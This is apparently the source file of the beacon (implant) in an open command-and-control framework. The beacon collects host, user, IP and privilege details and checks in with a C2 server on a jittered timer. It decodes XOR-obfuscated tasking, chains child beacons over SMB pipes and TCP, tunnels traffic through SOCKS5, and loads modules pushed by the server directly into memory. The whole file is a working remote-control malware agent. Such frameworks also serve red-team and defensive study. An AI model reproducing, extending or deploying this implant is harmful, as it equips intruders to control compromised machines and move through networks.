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maxDcb-C2Core/beacon/Beacon.cpp
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maxdcb f3b38146ab Agent setup
2025-07-30 08:32:38 -04:00

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#include "Beacon.hpp"
#include <random>
#ifdef __linux__
#include <unistd.h>
#include <sys/types.h>
#include <pwd.h>
#include <sys/utsname.h>
#include <dlfcn.h>
#include <MemoryModule.h>
typedef ModuleCmd* (*constructProc)();
#elif _WIN32
#include <wtsapi32.h>
#include <MemoryModule.h>
#define INFO_BUFFER_SIZE 32767
#define ENV_VAR_STRING_COUNT (sizeof(envVarStrings)/sizeof(TCHAR*))
typedef ModuleCmd* (*constructProc)();
#pragma comment(lib, "Wtsapi32.lib")
#endif
using namespace std;
#ifdef __linux__
#include <ifaddrs.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <cstring>
std::string getInternalIP()
{
struct ifaddrs* ifAddrStruct = nullptr;
getifaddrs(&ifAddrStruct);
std::string ips = "";
for (struct ifaddrs* ifa = ifAddrStruct; ifa != nullptr; ifa = ifa->ifa_next)
{
if (ifa->ifa_addr && ifa->ifa_addr->sa_family == AF_INET)
{
if(!ips.empty())
ips+="\n";
void* tmpAddrPtr = &((struct sockaddr_in*)ifa->ifa_addr)->sin_addr;
char addressBuffer[INET_ADDRSTRLEN];
inet_ntop(AF_INET, tmpAddrPtr, addressBuffer, INET_ADDRSTRLEN);
// Filter out loopback
if (std::string(ifa->ifa_name) != "lo")
{
ips += ifa->ifa_name;
ips += ": ";
ips += addressBuffer;
}
}
}
if (ifAddrStruct)
freeifaddrs(ifAddrStruct);
return ips;
}
int getCurrentPID()
{
return static_cast<int>(getpid());
}
#elif _WIN32
#include <winsock2.h>
#include <ws2tcpip.h>
#include <iphlpapi.h>
#include <iostream>
#pragma comment(lib, "Ws2_32.lib")
#pragma comment(lib, "Iphlpapi.lib")
std::string getInternalIP()
{
WSADATA wsaData;
char hostname[256];
std::string ips = "";
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
{
return ips;
}
if (gethostname(hostname, sizeof(hostname)) == SOCKET_ERROR)
{
WSACleanup();
return ips;
}
struct addrinfo hints = {}, *result = nullptr;
hints.ai_family = AF_INET; // IPv4
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
if (getaddrinfo(hostname, nullptr, &hints, &result) != 0)
{
WSACleanup();
return ips;
}
for (struct addrinfo* ptr = result; ptr != nullptr; ptr = ptr->ai_next)
{
if(!ips.empty())
ips+="\n";
struct sockaddr_in* sockaddr_ipv4 = reinterpret_cast<struct sockaddr_in*>(ptr->ai_addr);
char ipStr[INET_ADDRSTRLEN];
inet_ntop(AF_INET, &sockaddr_ipv4->sin_addr, ipStr, sizeof(ipStr));
ips += ipStr;
}
freeaddrinfo(result);
WSACleanup();
return ips;
}
int getCurrentPID()
{
return static_cast<int>(GetCurrentProcessId());
}
enum IntegrityLevel
{
INTEGRITY_UNKNOWN,
UNTRUSTED_INTEGRITY,
LOW_INTEGRITY,
MEDIUM_INTEGRITY,
HIGH_INTEGRITY,
};
IntegrityLevel GetCurrentProcessIntegrityLevel()
{
HANDLE hToken = NULL;
BOOL result = false;
TOKEN_USER* tokenUser = NULL;
DWORD dwLength = 0;
OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken);
DWORD token_info_length = 0;
if (::GetTokenInformation(hToken, TokenIntegrityLevel,
nullptr, 0, &token_info_length) ||
::GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
return INTEGRITY_UNKNOWN;
}
auto token_label_bytes = std::make_unique<char[]>(token_info_length);
TOKEN_MANDATORY_LABEL* token_label =
reinterpret_cast<TOKEN_MANDATORY_LABEL*>(token_label_bytes.get());
if (!::GetTokenInformation(hToken, TokenIntegrityLevel,
token_label, token_info_length,
&token_info_length)) {
return INTEGRITY_UNKNOWN;
}
DWORD integrity_level = *::GetSidSubAuthority(
token_label->Label.Sid,
static_cast<DWORD>(*::GetSidSubAuthorityCount(token_label->Label.Sid) -
1));
if (integrity_level < SECURITY_MANDATORY_LOW_RID)
return UNTRUSTED_INTEGRITY;
if (integrity_level < SECURITY_MANDATORY_MEDIUM_RID)
return LOW_INTEGRITY;
if (integrity_level >= SECURITY_MANDATORY_MEDIUM_RID &&
integrity_level < SECURITY_MANDATORY_HIGH_RID) {
return MEDIUM_INTEGRITY;
}
if (integrity_level >= SECURITY_MANDATORY_HIGH_RID)
return HIGH_INTEGRITY;
return INTEGRITY_UNKNOWN;
}
#endif
Beacon::Beacon()
{
m_beaconHash = random_string(SizeBeaconHash);
m_aliveTimerMs = 1000;
srand(time(NULL));
m_ips = getInternalIP();
int pid = getCurrentPID();
m_pid = std::to_string(pid);
#ifdef __linux__
char hostname[2048];
char username[2048];
gethostname(hostname, 2048);
getlogin_r(username, 2048);
m_hostname = hostname;
m_username = username;
uid_t uid = geteuid ();
struct passwd *pw = getpwuid (uid);
if (pw)
m_username = std::string(pw->pw_name);
struct utsname unameData;
uname(&unameData);
m_additionalInfo = unameData.sysname;
m_additionalInfo += "\n";
m_additionalInfo += unameData.nodename;
m_additionalInfo += "\n";
m_additionalInfo += unameData.release;
m_additionalInfo += "\n";
m_additionalInfo += unameData.version;
m_additionalInfo += "\n";
m_additionalInfo += unameData.machine;
m_arch = unameData.machine;
m_privilege = "user";
if(m_username=="root")
m_privilege = "root";
m_os = unameData.sysname;
m_os += " ";
m_os += unameData.release;
#elif _WIN32
TCHAR infoBuf[INFO_BUFFER_SIZE];
DWORD bufCharCount = INFO_BUFFER_SIZE;
// Get and display the name of the computer.
m_hostname = "unknown";
if( GetComputerName( infoBuf, &bufCharCount ) )
m_hostname = infoBuf;
std::string username1;
if( GetUserName( infoBuf, &bufCharCount ) )
username1 = infoBuf;
// ??
std::string acctName;
std::string domainname;
TOKEN_USER tokenUser;
ZeroMemory(&tokenUser, sizeof(TOKEN_USER));
DWORD tokenUserLength = 0;
PTOKEN_USER pTokenUser;
GetTokenInformation(GetCurrentProcessToken(), TOKEN_INFORMATION_CLASS::TokenUser, NULL,
0, &tokenUserLength);
pTokenUser = (PTOKEN_USER) new BYTE[tokenUserLength];
if (GetTokenInformation(GetCurrentProcessToken(), TOKEN_INFORMATION_CLASS::TokenUser, pTokenUser, tokenUserLength, &tokenUserLength))
{
TCHAR szUserName[_MAX_PATH];
DWORD dwUserNameLength = _MAX_PATH;
TCHAR szDomainName[_MAX_PATH];
DWORD dwDomainNameLength = _MAX_PATH;
SID_NAME_USE sidNameUse;
LookupAccountSid(NULL, pTokenUser->User.Sid, szUserName, &dwUserNameLength, szDomainName, &dwDomainNameLength, &sidNameUse);
acctName=szUserName;
domainname=szDomainName;
delete[] pTokenUser;
}
if(!domainname.empty())
m_username+=domainname;
else if(!m_hostname.empty())
m_username+=m_hostname;
else
m_username+=".";
m_username+="\\";
if(!acctName.empty())
m_username+=acctName;
else if(!username1.empty())
m_username+=username1;
else
m_username+="unknow";
SYSTEM_INFO systemInfo = { 0 };
GetNativeSystemInfo(&systemInfo);
m_arch = "x64";
if (systemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_INTEL)
m_arch = "x86";
m_os = "Windows";
IntegrityLevel integrityLevel = GetCurrentProcessIntegrityLevel();
m_privilege = "-";
if (integrityLevel == INTEGRITY_UNKNOWN)
m_privilege = "UNKNOWN";
else if (integrityLevel == UNTRUSTED_INTEGRITY)
m_privilege = "UNTRUSTED";
else if (integrityLevel == LOW_INTEGRITY)
m_privilege = "LOW";
else if (integrityLevel == MEDIUM_INTEGRITY)
m_privilege = "MEDIUM";
else if (integrityLevel == HIGH_INTEGRITY)
m_privilege = "HIGH";
#endif
}
void Beacon::run()
{
bool exit = false;
while (!exit)
{
try
{
checkIn();
exit = runTasks();
sleep();
}
catch(const std::exception& ex)
{
sleep();
}
catch (...)
{
sleep();
}
}
checkIn();
}
bool Beacon::initConfig(const std::string& config)
{
nlohmann::json beaconConfig = nlohmann::json::parse(config);
m_key = beaconConfig["xorKey"].get<std::string>();
m_modulesConfig = beaconConfig["ModulesConfig"];
return true;
}
// Distribute commands from C2 address to this beacon and child beacons
bool Beacon::cmdToTasks(const std::string& input)
{
std::string data;
try
{
// Decode the base64-encoded input string from the C2 server
data = base64_decode(input);
}
catch (...)
{
// If decoding fails, return false
return false;
}
// Decrypt the data using the beacon's XOR key
XOR(data, m_key);
// Parse the decrypted data into a MultiBundleC2Message object
MultiBundleC2Message multiBundleC2Message;
multiBundleC2Message.ParseFromArray(data.data(), (int)data.size());
// Iterate over each BundleC2Message in the multi-bundle message
for (int k = 0; k < multiBundleC2Message.bundlec2messages_size(); k++)
{
BundleC2Message* bundleC2Message = multiBundleC2Message.bundlec2messages(k);
// Check if the message is addressed to this beacon
std::string beaconhash = bundleC2Message->beaconhash();
if(beaconhash==m_beaconHash)
{
// Queue each C2Message task for this beacon
for (int j = 0; j < bundleC2Message->c2messages_size(); j++)
{
const C2Message& c2Message = bundleC2Message->c2messages(j);
m_tasks.push(c2Message);
}
}
// Otherwise, the message is for a child session
else
{
// Iterate through all listeners
for(int i=0; i<m_listeners.size(); i++)
{
// Check each session for a matching beacon hash
for(int j=0; j<m_listeners[i]->getNumberOfSession(); j++)
{
std::shared_ptr<Session> ptr = m_listeners[i]->getSessionPtr(j);
if(ptr->getBeaconHash()==beaconhash)
{
// Queue each C2Message task for the matching child session
for (int k = 0; k < bundleC2Message->c2messages_size(); k++)
{
const C2Message& c2Message = bundleC2Message->c2messages(k);
m_listeners[i]->queueTask(beaconhash, c2Message);
}
}
}
}
}
}
// Return true if all tasks were distributed successfully
return true;
}
// Create the response message from the results of all the commmands send to this beacon and child beacons
bool Beacon::taskResultsToCmd(std::string& output)
{
// Handle results of commands address to this particular Beacon
MultiBundleC2Message multiBundleC2Message;
BundleC2Message *bundleC2Message = multiBundleC2Message.add_bundlec2messages();
// TODO check of m_taskResult contain a getInfo cmd and add context info if it does
bundleC2Message->set_beaconhash(m_beaconHash);
bundleC2Message->set_hostname(m_hostname);
bundleC2Message->set_username(m_username);
bundleC2Message->set_arch(m_arch);
bundleC2Message->set_privilege(m_privilege);
bundleC2Message->set_os(m_os);
bundleC2Message->set_lastProofOfLife("0");
bundleC2Message->set_internalIps(m_ips);
bundleC2Message->set_processId(m_pid);
bundleC2Message->set_additionalInformation(m_additionalInfo);
while(!m_taskResult.empty())
{
C2Message c2MessageRet=m_taskResult.front();
// C2Message *addedC2MessageRet = bundleC2Message->add_c2messages();
// addedC2MessageRet->CopyFrom(c2MessageRet);
bundleC2Message->add_c2messages(c2MessageRet);
m_taskResult.pop();
}
// Handle results of commands address to child sessions
for(int i=0; i<m_listeners.size(); i++)
{
for(int j=0; j<m_listeners[i]->getNumberOfSession(); j++)
{
std::shared_ptr<Session> ptr = m_listeners[i]->getSessionPtr(j);
BundleC2Message *bundleC2Message = multiBundleC2Message.add_bundlec2messages();
// TODO check of m_taskResult contain a getInfo cmd and add context info if it does
bundleC2Message->set_beaconhash(ptr->getBeaconHash());
bundleC2Message->set_listenerhash(ptr->getListenerHash());
bundleC2Message->set_hostname(ptr->getHostname());
bundleC2Message->set_username(ptr->getUsername());
bundleC2Message->set_arch(ptr->getArch());
bundleC2Message->set_privilege(ptr->getPrivilege());
bundleC2Message->set_os(ptr->getOs());
bundleC2Message->set_lastProofOfLife(ptr->getLastProofOfLife());
bundleC2Message->set_internalIps(ptr->getInternalIps());
bundleC2Message->set_processId(ptr->getProcessId());
bundleC2Message->set_additionalInformation(ptr->getAdditionalInformation());
C2Message c2Message = ptr->getTaskResult();
while(!c2Message.instruction().empty())
{
// C2Message *addedC2MessageRet = bundleC2Message->add_c2messages();
// addedC2MessageRet->CopyFrom(c2Message);
bundleC2Message->add_c2messages(c2Message);
c2Message = ptr->getTaskResult();
}
}
}
std::string data;
multiBundleC2Message.SerializeToString(&data);
XOR(data, m_key);
output = base64_encode(data);
return true;
}
// Execute the appropriate modules and instructions based on tasks received from the C2.
// Returns true if an instruction indicates the beacon should exit, otherwise false.
bool Beacon::runTasks()
{
// Execute all recurring module commands and collect their results.
for (auto it = m_moduleCmd.begin(); it != m_moduleCmd.end(); ++it)
{
C2Message c2RetMessage;
int result = (*it)->recurringExec(c2RetMessage);
// If the module executed successfully, store the result for response construction.
if (result)
m_taskResult.push(c2RetMessage);
}
// Process each individual task assigned to this beacon.
// These are one-time commands sent from the C2 server.
while (!m_tasks.empty())
{
C2Message c2Message = m_tasks.front();
m_tasks.pop();
C2Message c2RetMessage;
// Execute the instruction and generate the response.
bool exit = execInstruction(c2Message, c2RetMessage);
// Store the result of the execution.
m_taskResult.push(std::move(c2RetMessage));
// If the instruction indicates the beacon should exit, return immediately.
if (exit)
return exit;
}
// Add a heartbeat or "proof-of-life" message for each active listener.
// This helps the C2 track which listeners are still alive and their current state.
for (int i = 0; i < m_listeners.size(); i++)
{
C2Message listenerProofOfLife;
listenerProofOfLife.set_instruction(ListenerPollCmd); // Indicate this is a poll/proof message.
listenerProofOfLife.set_data(m_listeners[i]->getListenerHash()); // Include unique listener identifier.
listenerProofOfLife.set_returnvalue(m_listeners[i]->getListenerMetadata()); // Include listener status/metadata.
// Add the heartbeat to the response queue.
m_taskResult.push(listenerProofOfLife);
}
// No exit signal was received; continue beacon execution.
return false;
}
void Beacon::sleep()
{
std::random_device rd;
std::mt19937 gen(rd());
std::uniform_real_distribution<> dis(0.8, 1.2); // 20% jitter range
int jitteredTimeMs = static_cast<int>(m_aliveTimerMs * dis(gen));
std::this_thread::sleep_for(std::chrono::milliseconds(jitteredTimeMs));
}
// Main function that execute command comming from the C2
// Commands releated to modules are handle by them
// Commands releated to beacon internal functions are handle in this function
bool Beacon::execInstruction(C2Message& c2Message, C2Message& c2RetMessage)
{
string instruction = c2Message.instruction();
string cmd = c2Message.cmd();
string uuid = c2Message.uuid();
c2RetMessage.set_instruction(instruction);
c2RetMessage.set_cmd(cmd);
c2RetMessage.set_uuid(uuid);
if (instruction == EndCmd)
{
c2RetMessage.set_returnvalue(CmdStatusSuccess);
return true;
}
//
// Sleep cmd
//
else if (instruction == SleepCmd)
{
std::string newSleepTimer = c2Message.cmd();
try
{
m_aliveTimerMs = std::stof(newSleepTimer)*1000;
newSleepTimer = to_string(m_aliveTimerMs) + "ms";
}
catch (const std::invalid_argument& ia)
{
newSleepTimer = CmdStatusFail;
}
c2RetMessage.set_returnvalue(newSleepTimer);
return false;
}
//
// Beacon Listener cmd
//
else if(instruction == ListenerCmd)
{
std::vector<std::string> splitedCmd;
std::string delimiter = " ";
splitList(cmd, delimiter, splitedCmd);
// TODO handle error for other type of listener
if(splitedCmd[0]==StartCmd)
{
if(splitedCmd[1]==ListenerSmbType)
{
if(splitedCmd.size()!=4)
return false;
std::string host = splitedCmd[2];
std::string pipeName = splitedCmd[3];
std::vector<unique_ptr<Listener>>::iterator object =
find_if(m_listeners.begin(), m_listeners.end(),
[&](unique_ptr<Listener> & obj){ return obj->getParam2() == pipeName;}
);
if(object!=m_listeners.end())
{
c2RetMessage.set_errorCode(ERROR_LISTENER_EXIST);
return false;
}
else
{
std::unique_ptr<ListenerSmb> listenerSmb = make_unique<ListenerSmb>(host, pipeName);
std::string hash = listenerSmb->getListenerHash();
std::string metadata = listenerSmb->getListenerMetadata();
m_listeners.push_back(std::move(listenerSmb));
c2RetMessage.set_cmd(cmd);
c2RetMessage.set_data(metadata);
c2RetMessage.set_returnvalue(hash);
return false;
}
}
else if(splitedCmd[1]==ListenerTcpType)
{
if(splitedCmd.size()!=4)
return false;
std::string localHost = splitedCmd[2];
int localPort;
try
{
localPort = std::stoi(splitedCmd[3]);
}
catch (const std::invalid_argument& ia)
{
c2RetMessage.set_errorCode(ERROR_PORT_FORMAT);
return false;
}
std::vector<unique_ptr<Listener>>::iterator object =
find_if(m_listeners.begin(), m_listeners.end(),
[&](unique_ptr<Listener> & obj){ return obj->getParam2() == splitedCmd[3];}
);
if(object!=m_listeners.end())
{
c2RetMessage.set_errorCode(ERROR_LISTENER_EXIST);
return false;
}
else
{
std::unique_ptr<ListenerTcp> listenerTcp = make_unique<ListenerTcp>(localHost, localPort);
int ret = listenerTcp->init();
if (ret>0)
{
std::string hash = listenerTcp->getListenerHash();
std::string metadata = listenerTcp->getListenerMetadata();
m_listeners.push_back(std::move(listenerTcp));
c2RetMessage.set_cmd(cmd);
c2RetMessage.set_data(metadata);
c2RetMessage.set_returnvalue(hash);
return false;
}
else
{
c2RetMessage.set_errorCode(ERROR_LISTENER_EXIST);
return false;
}
}
}
}
else if(splitedCmd[0]==StopCmd)
{
std::string listenerHash=splitedCmd[1];
std::vector<unique_ptr<Listener>>::iterator object =
find_if(m_listeners.begin(), m_listeners.end(),
[&](unique_ptr<Listener> & obj){ return obj->getListenerHash().rfind(listenerHash,0)==0;}
);
if(object!=m_listeners.end())
{
c2RetMessage.set_cmd(cmd);
c2RetMessage.set_returnvalue((*object)->getListenerHash());
m_listeners.erase(std::remove(m_listeners.begin(), m_listeners.end(), *object));
return false;
}
else
{
c2RetMessage.set_errorCode(ERROR_HASH_NOT_FOUND);
return false;
}
}
}
//
// Socks5 cmd
//
else if(instruction == Socks5Cmd)
{
SPDLOG_TRACE("Socks5 {} {} {}", c2Message.instruction(), c2Message.cmd(), c2Message.pid());
c2RetMessage.set_pid(c2Message.pid());
if(c2Message.cmd() == StartCmd)
{
return false;
}
else if(c2Message.cmd() == StopSocksCmd)
{
for(int i=0; i<m_socksTunnelClient.size(); i++)
m_socksTunnelClient[i].reset(nullptr);
return false;
}
else if(c2Message.cmd() == InitCmd)
{
SPDLOG_DEBUG("Socks5 init {}: {}:{}", c2Message.pid(), c2Message.data(), c2Message.args());
std::unique_ptr<SocksTunnelClient> socksTunnelClient = std::make_unique<SocksTunnelClient>(c2Message.pid());
try
{
uint32_t ip_dst = std::stoi(c2Message.data());
uint16_t port = std::stoi(c2Message.args());
int initResult = socksTunnelClient->init(ip_dst, port);
if(initResult)
{
m_socksTunnelClient.push_back(std::move(socksTunnelClient));
return false;
}
else
{
SPDLOG_DEBUG("Socks5 init {} failed", c2Message.pid());
// handle the fact that the ip/port is not reachable and send to the TeamServer to kill the tunnel
c2RetMessage.set_data("fail");
return false;
}
}
catch (const std::invalid_argument& ia)
{
SPDLOG_DEBUG("Socks5 init {} failed", c2Message.pid());
c2RetMessage.set_errorCode(ERROR_GENERIC);
return false;
}
SPDLOG_DEBUG("Socks5 init Finished");
}
else if(c2Message.cmd() == RunCmd)
{
SPDLOG_DEBUG("Socks5 run {}", c2Message.pid());
for(int i=0; i<m_socksTunnelClient.size(); i++)
{
SPDLOG_DEBUG("Socks5 run id with handle {}, id available {}", c2Message.pid(), m_socksTunnelClient[i]->getId());
if(m_socksTunnelClient[i]!=nullptr)
{
if(m_socksTunnelClient[i]->getId()==c2Message.pid())
{
SPDLOG_DEBUG("Socks5 run process {}", c2Message.pid());
SPDLOG_DEBUG("Socks5 run input {}", c2Message.data().size());
std::string dataOut;
int res = m_socksTunnelClient[i]->process(c2Message.data(), dataOut);
SPDLOG_DEBUG("Socks5 run output {}", dataOut.size());
SPDLOG_DEBUG("Socks5 run process ok {}", c2Message.pid());
// if(res<=0 || dataOut.size()==0)
if(res<=0)
{
SPDLOG_DEBUG("Socks5 run stop {}", c2Message.pid());
m_socksTunnelClient[i].reset(nullptr);
c2RetMessage.set_cmd(StopCmd);
}
SPDLOG_DEBUG("Socks5 run process finished {}", c2Message.pid());
c2RetMessage.set_data(dataOut);
}
}
}
SPDLOG_DEBUG("Socks5 run Finished");
}
else if(c2Message.cmd() == StopCmd)
{
SPDLOG_DEBUG("Socks5 stop {}", c2Message.pid());
for(int i=0; i<m_socksTunnelClient.size(); i++)
{
if(m_socksTunnelClient[i]!=nullptr)
{
if(m_socksTunnelClient[i]->getId()==c2Message.pid())
{
m_socksTunnelClient[i].reset(nullptr);
}
}
}
SPDLOG_DEBUG("Socks5 stop Finished");
}
SPDLOG_DEBUG("Finishing");
// Remove ended tunnels
m_socksTunnelClient.erase(std::remove_if(m_socksTunnelClient.begin(), m_socksTunnelClient.end(),
[](const std::unique_ptr<SocksTunnelClient>& ptr) { return ptr == nullptr; }),
m_socksTunnelClient.end());
SPDLOG_DEBUG("m_socksTunnelClient size {}", m_socksTunnelClient.size());
}
//
// Load memory module cmd
//
else if(instruction == LoadC2ModuleCmd)
{
#ifdef __linux__
const std::string inputfile = c2Message.inputfile();
std::string baseFilename = inputfile.substr(inputfile.find_last_of("/\\") + 1);
const std::string buffer = c2Message.data();
SPDLOG_DEBUG("LoadC2Module inputfile {}, buffer {}", baseFilename, buffer.size());
void* handle = NULL;
handle = MemoryLoadLibrary((char*)buffer.data(), buffer.size());
if (handle == NULL)
{
c2RetMessage.set_errorCode(ERROR_LOAD_LIBRARY);
return false;
}
SPDLOG_DEBUG("MemoryLoadLibrary handle {}", handle);
// The exported function that expose the constructor must be releated to the libreary file name
// file name = libExposedFunctionName.so <-> Exported function name = ExposedFunctionNameConstructor
std::string funcName = baseFilename;
funcName = funcName.substr(3); // remove lib
funcName = funcName.substr(0, funcName.length() - 3); // remove .so
funcName += "Constructor"; // add Constructor
SPDLOG_DEBUG("MemoryLoadLibrary funcName {}", funcName);
constructProc construct;
construct = (constructProc)dlsym(handle, funcName.c_str());
if(construct == NULL)
{
c2RetMessage.set_errorCode(ERROR_GET_PROC_ADDRESS);
return false;
}
SPDLOG_DEBUG("MemoryLoadLibrary construct success" );
ModuleCmd* moduleCmd = construct();
// Check if the module is already loaded, if it is we free it and return
unsigned long long moduleHash = moduleCmd->getHash();
std::vector<unique_ptr<ModuleCmd>>::iterator object =
find_if(m_moduleCmd.begin(), m_moduleCmd.end(),
[&](unique_ptr<ModuleCmd> & obj)
{
return obj->getHash() == moduleHash;
}
);
if(object!=m_moduleCmd.end())
{
c2RetMessage.set_errorCode(ERROR_MODULE_ALREADY_LOADED);
dlclose(handle);
return false;
}
std::unique_ptr<ModuleCmd> moduleCmd_(moduleCmd);
// initConfig for modules
nlohmann::json config = m_modulesConfig;
for (auto& it : config.items())
{
unsigned long long moduleHash = djb2(it.key());
if(moduleCmd_.get()->getHash() == moduleHash)
{
moduleCmd_.get()->initConfig(it.value());
}
}
m_moduleCmd.push_back(std::move(moduleCmd_));
c2RetMessage.set_returnvalue(CmdStatusSuccess);
return false;
#elif _WIN32
// TODO add a map of loaded modules, with inputfile/handled, to check of a module is already loaded and to be able to unload the handler
const std::string inputfile = c2Message.inputfile();
const std::string buffer = c2Message.data();
HMEMORYMODULE handle = NULL;
handle = MemoryLoadLibrary((char*)buffer.data(), buffer.size());
if (handle == NULL)
{
DWORD errorMessageID = ::GetLastError();
if(errorMessageID == 0) {
return false;
}
LPSTR messageBuffer = nullptr;
//Ask Win32 to give us the string version of that message ID.
//The parameters we pass in, tell Win32 to create the buffer that holds the message for us (because we don't yet know how long the message string will be).
size_t size = FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, errorMessageID, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPSTR)&messageBuffer, 0, NULL);
//Copy the error message into a std::string.
std::string message(messageBuffer, size);
//Free the Win32's string's buffer.
LocalFree(messageBuffer);
c2RetMessage.set_errorCode(ERROR_LOAD_LIBRARY);
return false;
}
// the DLL only exports one function, try to load by ordinal value
// If the dll export multiple function we got to make sur the export function come first (alphabetical number)
constructProc construct;
construct = (constructProc)MemoryGetProcAddress(handle, reinterpret_cast<LPCSTR>(0x01));
if (!construct != NULL)
{
c2RetMessage.set_errorCode(ERROR_GET_PROC_ADDRESS);
return false;
}
ModuleCmd* moduleCmd = construct();
// Check if the module is already loaded, if it is we free it and return
unsigned long long moduleHash = moduleCmd->getHash();
std::vector<unique_ptr<ModuleCmd>>::iterator object =
find_if(m_moduleCmd.begin(), m_moduleCmd.end(),
[&](unique_ptr<ModuleCmd> & obj)
{
return obj->getHash() == moduleHash;
}
);
if(object!=m_moduleCmd.end())
{
c2RetMessage.set_errorCode(ERROR_MODULE_ALREADY_LOADED);
MemoryFreeLibrary(handle);
return false;
}
std::unique_ptr<ModuleCmd> moduleCmd_(moduleCmd);
// initConfig for modules
nlohmann::json config = m_modulesConfig;
for (auto& it : config.items())
{
unsigned long long moduleHash = djb2(it.key());
if(moduleCmd_.get()->getHash() == moduleHash)
{
moduleCmd_.get()->initConfig(it.value());
}
}
m_moduleCmd.push_back(std::move(moduleCmd_));
c2RetMessage.set_returnvalue(CmdStatusSuccess);
return false;
#endif
}
else if(instruction == UnloadC2ModuleCmd)
{
// TODO should be able to close the handle to the dll/so
// clean the memory
std::string moduleName = c2Message.cmd();
unsigned long long moduleHash = djb2(moduleName);
std::vector<unique_ptr<ModuleCmd>>::iterator object =
find_if(m_moduleCmd.begin(), m_moduleCmd.end(),
[&](unique_ptr<ModuleCmd> & obj)
{
if(obj->getName().empty())
return obj->getHash() == moduleHash;
else
return obj->getName() == moduleName;
}
);
if(object!=m_moduleCmd.end())
{
#ifdef __linux__
Dl_info DlInfo;
if ((dladdr((void*)((*object)->getHash()), &DlInfo)) != 0)
{
dlclose(DlInfo.dli_fbase);
}
#elif _WIN32
HMODULE hModule = NULL;
if(GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS |
GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT,
(LPCTSTR)(*object)->getHash(), &hModule))
{
// test with FreeLibrary, should use MemoryFreeLibrary ?
FreeLibrary(hModule);
}
#endif
m_moduleCmd.erase(std::remove(m_moduleCmd.begin(), m_moduleCmd.end(), *object));
c2RetMessage.set_returnvalue(CmdStatusSuccess);
return false;
}
else
{
c2RetMessage.set_errorCode(ERROR_MODULE_NOT_FOUND);
return false;
}
}
//
// Command to be executed by a loaded module
//
else
{
unsigned long long moduleHash = djb2(instruction);
bool isModuleFound=false;
for(auto it = m_moduleCmd.begin() ; it != m_moduleCmd.end(); ++it )
{
if (instruction == (*it)->getName() || moduleHash == (*it)->getHash())
{
(*it)->process(c2Message, c2RetMessage);
isModuleFound=true;
}
}
if(!isModuleFound)
{
c2RetMessage.set_returnvalue(CmdModuleNotFound);
}
}
return false;
}
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